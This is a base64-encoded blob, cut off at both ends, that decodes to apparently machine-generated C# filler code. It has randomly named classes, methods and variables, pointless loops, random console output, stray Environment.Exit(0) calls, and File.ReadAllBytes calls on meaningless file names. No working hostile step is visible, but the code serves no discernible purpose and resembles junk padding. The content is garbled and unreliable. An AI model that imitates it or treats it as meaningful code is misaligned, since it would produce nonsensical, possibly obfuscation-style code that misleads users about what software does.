pKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1mbG9hdCBHelF5T1ZzTiA9IDEuNzAxMTYxRS0zM0Y7IApmbG9hdCBVamJuVUlsbSA9IDkuNTAzNDE5RSsyOEY7IApsb25nIFR0elhNaUZwID0gMTc4NzU3MTgzNDgzMDg0ODk7IAoNCn1wdWJsaWMgdm9pZCBseFNKRmNIaygpew0KdWludCBBdG1LekpPdyA9IDY4NTI4MTg1OyAKdXNob3J0IGlIUWZTZGhmID0gNDAwOyAKc3RyaW5nIGJVc1dITmRmID0gIkxxQmlDd2xVIjsgCiBDb25zb2xlLldyaXRlTGluZShiVXNXSE5kZik7bG9uZyBWb3Nla2lrSiA9IDY5MTQ2MzM3MjUwNzYyOTAyOyAKdXNob3J0IHRMSnZ2WUJhID0gNDU4ODk7IAp1bG9uZyBVdmtNZUJxaSA9IDE3MTU5ODYwNDY5NjUyMjMwOyAKdWludCB2V2NIUXlRaiA9IDIwNTY4MDY0NTsgCmxvbmcgekdVSmFQblMgPSA5MzQzMTgwMzE3MTk2ODY5OyAKDQp9cHVibGljIHZvaWQga3VBTHFPU3IoKXsNCmZsb2F0IGl1THlWUURNID0gLTMuNjU0NDM1RSsxMUY7IApzdHJpbmcgRGxtaFhDWEQgPSAiTXdNeFdVTlkiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERsbWhYQ1hEKTtpbnQgVnBERk9iSEsgPSA0NTIzNzY0MDE7IAp3aGlsZShWcERGT2JISyA9PSA0NTIzNzY0MDEpew0KVnBERk9iSEsgPSAxMTk3Njk7DQp9dWludCBGZ2lzYktQSCA9IDYwNTM7IApkb3VibGUgZmZ1d29XeVcgPSAtMS4xOTUxNjFFKzM0OyAKd2hpbGUoZmZ1d29XeVcgPT0gLTIuODAxNjg4RSsyMil7DQpkb3VibGUgZ2lSVUlOeXlVViA9IDEzLjYwNjc7DQpmZnV3b1d5VyA9IE1hdGguUm91bmQoZ2lSVUlOeXlVViAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1ieXRlIERHZGRDb0FTID0gIDE1MzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBhZ05jR3hBbCA9ICJ1UXJrc2ZCaiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoYWdOY0d4QWwpO3VzaG9ydCBIbHZZbFpNUSA9IDIzOTU7IAoNCn1wdWJsaWMgdm9pZCBqdVJTbm13ZSgpew0Kc3RyaW5nIFhRY3FYdEpPID0gImFwTFB5UExtIjsgCiBDb25zb2xlLldyaXRlTGluZShYUWNxWHRKTyk7ZG91YmxlIERNSE5za0lMID0gNS4wMjAyNzdFKzE0OyAKaWYoRE1ITnNrSUwgPT0gLTIuNDkwMTkxRS0xOCl7DQpkb3VibGUgaUFoalVKZGd6SmNTcyA9IDU4LjIzNjExOw0KQ29uc29sZS5Xcml0ZShETUhOc2tJTC5Ub1N0cmluZygpKTsNCn11c2hvcnQgaW1IZ1drRlkgPSAxNjQ5MzsgCnVzaG9ydCBObkFzckpWTyA9IDI1NjsgCmRvdWJsZSBFRER1YVZDcCA9IDMxNTU1MTQ7IAp3aGlsZShFRER1YVZDcCA9PSAtMy4yMTM0NDZFLTMxKXsNCkVERHVhVkNwID0gTWF0aC5Qb3coMiwgMi4xKTsNCiBib29sPyB6VFlvZklXVmR4U25nRWhKaHNBR0ggPSBuZXcgYm9vbD8oKTsNCnpUWW9mSVdWZHhTbmdFaEpoc0FHSCA9IHRydWU7DQp9bG9uZyBBbHNTcmZqTiA9IDQ3OTc4NjI5MTM5MjI4NjQ3OyAKbG9uZyBnbWtxS0h1USA9IDcyNTczNTM5MTczODA2OTg2OyAKc2hvcnQgWkFqT2hCVEMgPSAtMjIwODU7IAogYnl0ZVtdIFpBak9oQlRDWkFqT2hCVEMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlpBak9oQlRDIik7DQp9Cn0gcHVibGljIGNsYXNzIG9wQUtNdVRre3B1YmxpYyB2b2lkIFBUU1RNdmdLKCl7DQpzaG9ydCBraGRwTUhURSA9IDI5NzQzOyAKIGJ5dGVbXSBraGRwTUhURWtoZHBNSFRFID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJraGRwTUhURSIpO3N0cmluZyBtTlVidkhkRiA9ICJTc0VaSHJTUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUobU5VYnZIZEYpO3VzaG9ydCBSWkVnaVJhUSA9IDQ2NzY3OyAKbG9uZyBFQ0FISWRmaiA9IDc1ODA5ODkyNjkxNDY2NTkxOyAKdWxvbmcgREVlcG9iQVkgPSA4OTE3MDc5NDcyOTcxODQ2MDsgCmJ5dGUgbHFlZ2FlYVkgPSAgMjM2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IGJCTGtnbHRSID0gMzcyNjU7IAp1aW50IFRkUW5NUWVEID0gOTQ3MTsgCg0KfXB1YmxpYyB2b2lkIGVxVUhDT0dSKCl7DQpzaG9ydCBLdWRPU3VHZiA9IC0xOTYwNjsgCiBieXRlW10gS3VkT1N1R2ZLdWRPU3VHZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiS3VkT1N1R2YiKTtmbG9hdCB1R3hWV0RaVCA9IC0zLjA1MTU5NkUrMzBGOyAKdXNob3J0IGZlS0pqempYID0gMzAzMjE7IApzaG9ydCBHd2h5TVlvdiA9IC0xMDg1MzsgCiBieXRlW10gR3doeU1Zb3ZHd2h5TVlvdiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiR3doeU1Zb3YiKTtzdHJpbmcgUGxoTUFvTm8gPSAiVmVjUWR3d1UiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFBsaE1Bb05vKTtieXRlIHFZVEd0RUhDID0gIDYxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBBZERlZkJPdiA9ICAyMzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCB4U0xrSktBZiA9IC05NTc7IAogYnl0ZVtdIHhTTGtKS0FmeFNMa0pLQWYgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInhTTGtKS0FmIik7DQp9cHVibGljIHZvaWQgYkdDVmVuTFIoKXsNCnNob3J0IFZub1BTVFZ5ID0gLTMzNDc7IAogYnl0ZVtdIFZub1BTVFZ5Vm5vUFNUVnkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlZub1BTVFZ5Iik7c3RyaW5nIFdieHVEWmdHID0gIkpCS3lYcE5zIjsgCiBDb25zb2xlLldyaXRlTGluZShXYnh1RFpnRyk7c3RyaW5nIEFSTVZzbGRTID0gInp1eFdzQXd4IjsgCiBDb25zb2xlLldyaXRlTGluZShBUk1Wc2xkUyk7Ynl0ZSBlakhSclZJUyA9ICAyMTc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBTdnBUZnJZZyA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgcnp4T01QTnQgPSAtMS4wNDA2MTJFKzI4OyAKZG91YmxlIFd4RGJOWkROZkZ3SlBvd2NRQlBMQiA9IC05LjYzNTQ0OUUtMTI7DQpzYnl0ZSBIZEZUVnRPSCA9ICAtMTA4OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgTVVOVURJRmEgPSAxLjUwNTM3MUUrMjA7IAp3aGlsZShNVU5VRElGYSA9PSAtMy4xNTc3OTlFKzA3KXsNCk1VTlVESUZhID0gTWF0aC5DZWlsaW5nKE1hdGguQWNvcygwKSk7DQpvYmplY3QgSXpydVJzcXNTRHZ4Y1FJWkY7DQpJenJ1UnNxc1NEdnhjUUlaRiA9IDUuNzgxMjY1RS0zMjsNCn0NCn1wdWJsaWMgdm9pZCBrWXZsU09yRCgpew0Kc3RyaW5nIGpMQkxCSW5WID0gIlVYQmRkTGlNIjsgCiBDb25zb2xlLldyaXRlTGluZShqTEJMQkluVik7dWxvbmcgYU5GbEVkdEsgPSA1OTUyNTgwOTY5NTE3NzU2OyAKdWxvbmcgY0lEdUtyQXkgPSA4MTIzMzI0MTc4NzAyMzA1NzsgCnN0cmluZyBUeUJoWlZhayA9ICJOVnlsRnRIWSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoVHlCaFpWYWspO3VpbnQgcHNZdm9ncUUgPSA4NzcxOTE7IAp1bG9uZyBlcFdsamtxbCA9IDQ2NTY5MDUwODY4NjQ3Mzg2OyAKYnl0ZSBHeGlBVFBVSiA9ICAxMjk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIGRCdHFSaWNlID0gIDIyMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIHNIaG5yVm9JKCl7DQpkb3VibGUgRWhDWU5PeHAgPSA4LjUxMjgyNkUtMzU7IAp3aGlsZShFaENZTk94cCA9PSA0LjgwMjAxNUUtMDcpew0KRWhDWU5PeHAgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KdHJ5ew0KaW50IHFLRmJyTVdhdUdzWGtQWnlha2kgPSAyMTMwMzI4Ow0KaWYocUtGYnJNV2F1R3NYa1BaeWFraSA9PSA0NzUxNCl7DQpxS0Zick1XYXVHc1hrUFp5YWtpKys7DQp9ZWxzZXsNCnFLRmJyTVdhdUdzWGtQWnlha2ktLTsNCkNvbnNvbGUuV3JpdGUocUtGYnJNV2F1R3NYa1BaeWFraS5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9c2J5dGUgalZsSEtLcnUgPSAgLTEwNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgc0VSQ0lZTE4gPSAtMS4wNzQyOThFLTIxRjsgCnNieXRlIGVyS2xTWUFQID0gIC0xMDM7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIHhhWXpIeXBmID0gMzU4NjA4NTc3MjQ4NTQyNjsgCnNob3J0IHliRVNTTUFXID0gLTE5MDc0OyAKIGJ5dGVbXSB5YkVTU01BV3liRVNTTUFXID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ5YkVTU01BVyIpO3NieXRlIExDUXNvbEFzID0gIDExNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgY3FZTWxERmMgPSAtMS4yNjkyMzlFLTA2RjsgCg0KfXB1YmxpYyB2b2lkIFZQZ0d0YWZLKCl7DQpzdHJpbmcgcmR2dHJRbWEgPSAiSFBLZFJvQUEiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHJkdnRyUW1hKTtmbG9hdCBCb3NEdVJPSCA9IDEuMTU0MDQ2RS0zN0Y7IApsb25nIEZnR2pRRHFuID0gNTEzNzkwMjEzNDA4NTYwNDE7IAp1bG9uZyBSbUZyVml5YSA9IDgxMzEwODQ4NjkzMTY1NDg1OyAKc2hvcnQgWFhqSW1meEEgPSAtOTAxNjsgCiBieXRlW10gWFhqSW1meEFYWGpJbWZ4QSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiWFhqSW1meEEiKTtmbG9hdCB6d1dkaUVLVSA9IC0wLjY4OTkxNzdGOyAKbG9uZyBvaXFJQlpaSSA9IDIzMTM1NTQwNDkyMzg3Nzk3OyAKZG91YmxlIHdzbW12R0FuID0gMS4yODE2NjFFLTIxOyAKd2hpbGUod3NtbXZHQW4gPT0gOS4zMzcwNDlFKzI3KXsNCndzbW12R0FuID0gTWF0aC5Qb3coZG91YmxlLk5lZ2F0aXZlSW5maW5pdHksIDIpOw0Kb2JqZWN0IHpjSEVkaGRJbVlPOw0KemNIRWRoZEltWU8gPSAtMS43NTAwMjhFKzI5Ow0KfQ0KfXB1YmxpYyB2b2lkIHZwaGJJZ216KCl7DQpkb3VibGUgSHB2dXdKZnggPSA0LjQ1OTQwNUUtMDY7IApkb3VibGUgcHVOT3JES1RNWHdXZ01rTW1WeEh4YyA9IC00LjA2MjkxMUUrMjE7DQpIcHZ1d0pmeCA9IHB1Tk9yREtUTVh3V2dNa01tVnhIeGMgLyAzOw0KbG9uZyBoVFBlR3FwaSA9IDgwNzI3MTQ3NzM2ODk1NjE4OyAKc2hvcnQgZ1psSUFvamggPSA4MjgyOyAKIGJ5dGVbXSBnWmxJQW9qaGdabElBb2poID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnWmxJQW9qaCIpO3VzaG9ydCBvYUdWZ1ZhTiA9IDQ2NTU4OyAKbG9uZyBkeml1ZGhLRiA9IDUwODE0NzEzMzgyNjQxODAwOyAKZG91YmxlIGNvVHNWaXdFID0gLTEuNDkyNTAyRS0xNjsgCndoaWxlKGNvVHNWaXdFID09IC00LjgzODkzMkUtMDkpew0KY29Uc1Zpd0UgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9bG9uZyBieU5iUEpHWiA9IDQ5NTIyNTI1MjkyMDM2MDkxOyAKbG9uZyBPUkFRbG9ERiA9IDYxMzUxMTkwNzk1MDIzNDc2OyAKDQp9cHVibGljIHZvaWQgZ1NjVFZ6Q2UoKXsNCnN0cmluZyBTZmVNZm5CdiA9ICJwbUlJdEFpayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoU2ZlTWZuQnYpO3VpbnQgU2Zod2VMUkwgPSAxOTsgCnVzaG9ydCBIS1dPRURzWCA9IDU3NzQ7IApzYnl0ZSBmQW1FUndFSyA9ICAtMjA7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgTVZVeFB0TUsgPSAgMTQ0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBaTXJpTnVBSCA9IDg1NzY1OTM0NjI4NTY4NzE0OyAKc2J5dGUgYkt6aUphZmIgPSAgLTEyNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBkbVBmVE5CeCA9ICAxMDk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn0KfSBwdWJsaWMgY2xhc3MgVnZHTXdnZHR7cHVibGljIHZvaWQgcGR0UFpJQWUoKXsNCmxvbmcgYllZc0VvWUwgPSAzMzYxMDExODAwNjE1NTM4ODsgCmludCBpVXBGekhpSCA9IDM5NDk3NzY3ODsgCndoaWxlKGlVcEZ6SGlIID09IDM5NDk3NzY3OCl7DQppVXBGekhpSCArPSA0OTcxMzg7DQp9dXNob3J0IGdzZElkd0lkID0gMzk5NTc7IAp1c2hvcnQga3VOZXJBakMgPSAzNDMyOyAKc2hvcnQgeEt4RmtTT3MgPSAyNTA5NTsgCiBieXRlW10geEt4RmtTT3N4S3hGa1NPcyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygieEt4RmtTT3MiKTtzYnl0ZSBwUEdBWGhteCA9ICA5MDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgYVRzS0V5d0EgPSAyNDc4OTM2NzY3NjE1MzY3NzsgCmxvbmcgWnpxZEZXU3MgPSA4MjU5MDQ3MjM5NDUzNTE4MDsgCg0KfXB1YmxpYyB2b2lkIGJUdkRYUEZMKCl7DQpmbG9hdCBMaFZKb2t3RyA9IDUuMDM3MTYzRSsyNEY7IApieXRlIFhPaGRZYnBDID0gIDMzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBqR0lLRWRCUiA9IDcxMDc4OyAKbG9uZyBKaVp5TVJEVyA9IDY3MzA2NzIyNzA3NTY1OTc5OyAKc2hvcnQgR0pRYlNlYWUgPSAtNzM5ODsgCiBieXRlW10gR0pRYlNlYWVHSlFiU2VhZSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiR0pRYlNlYWUiKTtsb25nIFhRcGRlbUROID0gNzgyMzY1MzU2MjA0MTIxNjY7IApmbG9hdCBVRXZkcUpzeSA9IC02LjMzNTQxMkUtMjdGOyAKc2hvcnQgS1ROY25RU2UgPSAtMTYyMzg7IAogYnl0ZVtdIEtUTmNuUVNlS1ROY25RU2UgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIktUTmNuUVNlIik7DQp9cHVibGljIHZvaWQga3dpdld2VkYoKXsNCnN0cmluZyBLRnFocmZhTiA9ICJQcWZobUNkSSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoS0ZxaHJmYU4pO2J5dGUgbGxIQkpNbmYgPSAgMTc1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCBJUGt1SWhDWSA9IDgzOyAKdWludCB1THRWVHpZRCA9IDU1OyAKYnl0ZSBIeEdxUlFqTiA9ICAzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgbW9zV3ZheHIgPSA1NDM0MjYzMDI1OTM1OTcwOyAKc2J5dGUgSk9Ob1NIU1kgPSAgNDI7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBOdlJvYmdZcyA9IDMyMTg1MjsgCndoaWxlKE52Um9iZ1lzID09IDMyMTg1Mil7DQpOdlJvYmdZcyA9IDQ3ODI1MjsNCn0NCn1wdWJsaWMgdm9pZCBoaGdRcEZ1Vygpew0KaW50IGNBUG52eElzID0gOTQ3NzY0NDE7IAp3aGlsZShjQVBudnhJcyA9PSA5NDc3NjQ0MSl7DQpjQVBudnhJcyA9IGNBUG52eElzICsgOTUxNzk2Ow0KfXNob3J0IE5qTkRSdENhID0gLTI4NDgwOyAKIGJ5dGVbXSBOak5EUnRDYU5qTkRSdENhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJOak5EUnRDYSIpO3N0cmluZyBrb0lGRVZHdiA9ICJJY0xLdFNFUiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoa29JRkVWR3YpO3Vsb25nIHB5RmRnTlN5ID0gNDEzOTc5MjcyNjI2NTEzNDA7IAp1c2hvcnQgcGdOckZ6S3ggPSAyNzU2ODsgCmZsb2F0IGNkanBEV1V1ID0gLTIuMzg1ODQ0RSswOEY7IApsb25nIGpnUFRsQk5vID0gNDI1MDkzNzgzMjc4OTk4OTg7IAp1bG9uZyBqTE9xUXJFTiA9IDU0OTIxODg2Mzk4NjA5Njc1OyAKDQp9cHVibGljIHZvaWQgRmpIb3JFb1ooKXsNCmZsb2F0IE53RU5rVmNzID0gLTEuMjI1MDU5RSsxNkY7IAp1bG9uZyBTckRVQUxQTSA9IDcyODI5MzQwNDY1OTUxNzE2OyAKdXNob3J0IG5TeFJOaEhQID0gNjM5Mjk7IAp1aW50IEhjcE1laU1KID0gNzI0NzcwMDk7IAp1bG9uZyBiakVETHd4aCA9IDQ0MTUyODE3ODg1ODQxMDE3OyAKc3RyaW5nIGZKSVJmbm5NID0gIkdiWEhCWE11IjsgCiBDb25zb2xlLldyaXRlTGluZShmSklSZm5uTSk7dWxvbmcgREh3Y1ZSUnAgPSAzMzM5ODkxNTUyMDU1MzE4ODsgCmxvbmcgWFpkUG1sd1EgPSA1ODc0MjE2OTMyNDcyMjE2MzsgCg0KfXB1YmxpYyB2b2lkIHhxd0pQZVVHKCl7DQpzYnl0ZSBqTlRDbmZxSSA9ICAyNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgZlZ5ZmVmckYgPSAtMjU3NjsgCiBieXRlW10gZlZ5ZmVmckZmVnlmZWZyRiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZlZ5ZmVmckYiKTtsb25nIHFtWVNiYlVxID0gMjU3NjE1MzgxNDE2NTk3NDA7IApmbG9hdCBZRHFMWUFvVSA9IDQuNDIwODU1RS0zNUY7IAp1bG9uZyBlUm9XaHBlRSA9IDE3NjEwNTM2ODg4NTU2NTExOyAKc2J5dGUgTGhZU1ZmR0sgPSAgLTY5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgWWtZT2JIQXggPSA0MDsgCmlmKFlrWU9iSEF4ID09IDI0MTEzKXsNCllrWU9iSEF4ID0gOTU3MjkzOw0KfWJ5dGUgQnZZdFRDak0gPSAgMzk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBEUUJWUEtGSSgpew0KYnl0ZSBGY0hmRXBPYiA9ICAyMTQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtkb3VibGUgWWJLT1dxWGogPSAtMS4zNjcxNzVFLTIzOyAKd2hpbGUoWWJLT1dxWGogPT0gMS42ODY1NDVFLTA5KXsNCmRvdWJsZSBQZXhySWpnT0tXb29oID0gTWF0aC5JRUVFUmVtYWluZGVyKDMsIDQpOw0KWWJLT1dxWGogPSBQZXhySWpnT0tXb29oOw0KQ29uc29sZS5Xcml0ZShZYktPV3FYai5Ub1N0cmluZygpKTsNCn1kb3VibGUgTVFic3RURnIgPSAtMy41NzY1NTJFLTI1OyAKaWYoTVFic3RURnIgPT0gLTIuMDIyMDYxRS0xMCl7DQpNUWJzdFRGciA9IE1hdGguQ2VpbGluZyhNYXRoLkF0YW4oLTUpKTsNCiBib29sPyBTdUFIZkRMVCA9IG5ldyBib29sPygpOw0KU3VBSGZETFQgPSB0cnVlOw0KfWJ5dGUgeFBTWWROY04gPSAgNzQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgYnh6U3p0Y3MgPSA3NzY0MzQ7IAppZihieHpTenRjcyA9PSAzODIxMTgpew0KYnh6U3p0Y3MgPSAxODgzMTU7DQp9dWxvbmcgd1JIdGJtVXogPSA0MDgyNzMzODMxOTAyNDI5MTsgCnVzaG9ydCBTY2JNUnBpaCA9IDI5NzIwOyAKdWludCBMeVhETUxwYSA9IDkwNzIyMDk4NjsgCg0KfXB1YmxpYyB2b2lkIFNreElYZENhKCl7DQppbnQgS3B0TllIZGcgPSA2MTsgCndoaWxlKEtwdE5ZSGRnID09IDYxKXsNCktwdE5ZSGRnICs9IDEyNzUzMTsNCn1zaG9ydCBtSmpUbE5IcCA9IDEwNDk4OyAKIGJ5dGVbXSBtSmpUbE5IcG1KalRsTkhwID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJtSmpUbE5IcCIpO3VzaG9ydCBTcm5jeFpLUiA9IDQwMzIwOyAKZG91YmxlIFZydnVQbm1iID0gLTMuNTAxODI4RS0wNzsgCmlmKFZydnVQbm1iID09IC01LjE1Mzc0OUUtMjApew0KVnJ2dVBubWIgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQoNCn1mbG9hdCBDS3ZpeEtvWiA9IDkuNTUwMDY5RS0xMkY7IApzYnl0ZSBubXZScW5NVSA9ICA3NTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIFZCUldTem9MID0gOS4zMzI1MzZFLTM4OyAKVkJSV1N6b0wgPSBNYXRoLkV4cCgyKTsNCmludD8gVk1lSVBLSEVobk1FVmZtQ2x2YmRxT0l3dGZzID0gMjIxOTMzOTsNClZNZUlQS0hFaG5NRVZmbUNsdmJkcU9Jd3RmcyArPSAxMzgyOTtzdHJpbmcgQ2ZKaktWVGggPSAia0FTTldJYWwiOyAKIENvbnNvbGUuV3JpdGVMaW5lKENmSmpLVlRoKTsNCn0KfSBwdWJsaWMgY2xhc3Mgd1dNU2J1YkV7cHVibGljIHZvaWQgUnB5Ylh2WWYoKXsNCnNob3J0IHV0dGZlUklCID0gMjY4ODQ7IAogYnl0ZVtdIHV0dGZlUklCdXR0ZmVSSUIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInV0dGZlUklCIik7c2J5dGUgSW9SUnNMWXcgPSAgMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTt1bG9uZyBET016VGRDWiA9IDM5MDQ0NzM2OTEyMjY1NDY0OyAKZmxvYXQgT3RCa2hrU1EgPSA0LjMzODczRS0zNUY7IApieXRlIFJUS0VZSGFYID0gIDIyODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2RvdWJsZSBHS0hxSEhNSiA9IDUuNTMyNDkyRS0xNDsgCndoaWxlKEdLSHFISE1KID09IC0yLjc5MjQwN0UtMzIpew0KR0tIcUhITUogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KDQp9Ynl0ZSBnbVNFSGpXaCA9ICAxMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGthc2NDSVRkID0gMTc5ODgzMDQ2MzkzNDA0MzA7IAoNCn1wdWJsaWMgdm9pZCBuWkxXcHlwTigpew0Kc2J5dGUgc3ZqUlNJRWYgPSAgMTExOyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGVTRUVOYUd1ID0gIDE1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIFNlZGNvUG5rID0gIDU7IAogQ29uc29sZS5SZWFkTGluZSgpO2Zsb2F0IEtkSWVRU1JQID0gMC4wMDc4MDY3MDFGOyAKdWludCBsdm5DZm1maSA9IDg4ODEwNDc3NjsgCnVpbnQgemFkd0VuWkQgPSAyOyAKc3RyaW5nIElBdXBBYUJTID0gIkJkUVlaVWhTIjsgCiBDb25zb2xlLldyaXRlTGluZShJQXVwQWFCUyk7dXNob3J0IGpnYldLT09vID0gMzI3Mzg7IAoNCn1wdWJsaWMgdm9pZCBZZ1djQVJuSCgpew0Kc3RyaW5nIHRYY2RXeWdPID0gInpXanlQY2JvIjsgCiBDb25zb2xlLldyaXRlTGluZSh0WGNkV3lnTyk7dXNob3J0IFNvbVZ2QURxID0gMjkxNzc7IAppbnQgemZUYndpd2QgPSA3NjsgCndoaWxlKHpmVGJ3aXdkID09IDc2KXsNCnpmVGJ3aXdkICs9IDgwODM4ODsNCn1pbnQgaU5IYmR5TnIgPSA5ODM3OyAKaWYoaU5IYmR5TnIgPT0gMjU0NjY5KXsNCmlOSGJkeU5yICs9IDMwODI3NDsNCn1ieXRlIEVRVG9teFBMID0gIDE0NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgUFhCcGV0cE4gPSAgMzA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IHVrcFZ4cmZ5ID0gMzU1NTYwODI7IApzYnl0ZSBCc0t5QUpwQyA9ICAtMjY7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIGVIa294ZFZzKCl7DQpkb3VibGUgTEJYR2VwUHEgPSAtMy44OTU1NDVFLTM1OyAKZG91YmxlIGthZ1hqanFiSVkgPSAtNS4xNzM1MjVFLTIxOw0Ka2FnWGpqcWJJWSA9IE1hdGguU3FydCgzKTsNCkxCWEdlcFBxID0ga2FnWGpqcWJJWTsNCmludD8gUEZUQnhjSXh6Q2xGUUxYbk1IZ2dQVkNoRlRCID0gNTI4NTEyMTsNClBGVEJ4Y0l4ekNsRlFMWG5NSGdnUFZDaEZUQiArPSAyMTQyMzt1aW50IHp1SW5Ed0VsID0gOTQ5MzA0MDM7IAp1bG9uZyBoaFhtbmxTbSA9IDI4OTE4MDIxNDExNjUxMzA4OyAKdXNob3J0IGNFdWRPQ2RyID0gMTQzOTQ7IApzYnl0ZSBGRXhUTVpDViA9ICAxMTA7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGNrcWpQclZ5ID0gMTEwNTsgCiBieXRlW10gY2txalByVnlja3FqUHJWeSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiY2txalByVnkiKTtzYnl0ZSBQY1VzTnNsdSA9ICAyNDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c3RyaW5nIHp6R3NJdHhJID0gIlpqbWhHVmtQIjsgCiBDb25zb2xlLldyaXRlTGluZSh6ekdzSXR4SSk7DQp9cHVibGljIHZvaWQgUWxPd2hOS0koKXsNCmZsb2F0IEVGR0pqdFRZID0gNC40NjQ2MzRFKzI3RjsgCmZsb2F0IG5tREpGdlBuID0gMi40NjgzMTJFLTM2RjsgCnNob3J0IHdZSHpLRE5OID0gLTI4Nzk3OyAKIGJ5dGVbXSB3WUh6S0ROTndZSHpLRE5OID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ3WUh6S0ROTiIpO2ludCBla2tQUGxFRiA9IDIwMTY1NTsgCmlmKGVra1BQbEVGID09IDc3NTE2Myl7DQpla2tQUGxFRiA9IGVra1BQbEVGICsgNzk1NzYxOw0KfXVpbnQgVVBHSHppUmMgPSA1MTAwMjk0NDsgCmludCBDTHJ5VlF5ViA9IDE4OTY7IAppZihDTHJ5VlF5ViA9PSAxOTc3NjYpew0KQ0xyeVZReVYgKz0gMTUxMTU4Ow0KfXVsb25nIGRiYXFia3lMID0gNDU1NzUxMTM5NjI3MzM0Nzg7IApieXRlIGFpU21zekV0ID0gIDI0ODsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIEVkbEplRHlrKCl7DQp1bG9uZyBsbGRNRGdKViA9IDc4ODM0MDg2NTM0NDE0MjYzOyAKc2J5dGUgTURPZ0ZwanUgPSAgMTA0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgWkFOcXFJS1YgPSAxLjEwNjA5OEUtMTE7IApkb3VibGUgZ1BjZ2N5dG9ieHNlVHpnRWladE1vUmNPRnZyU0ogPSAtMi4wMjEyRSsyM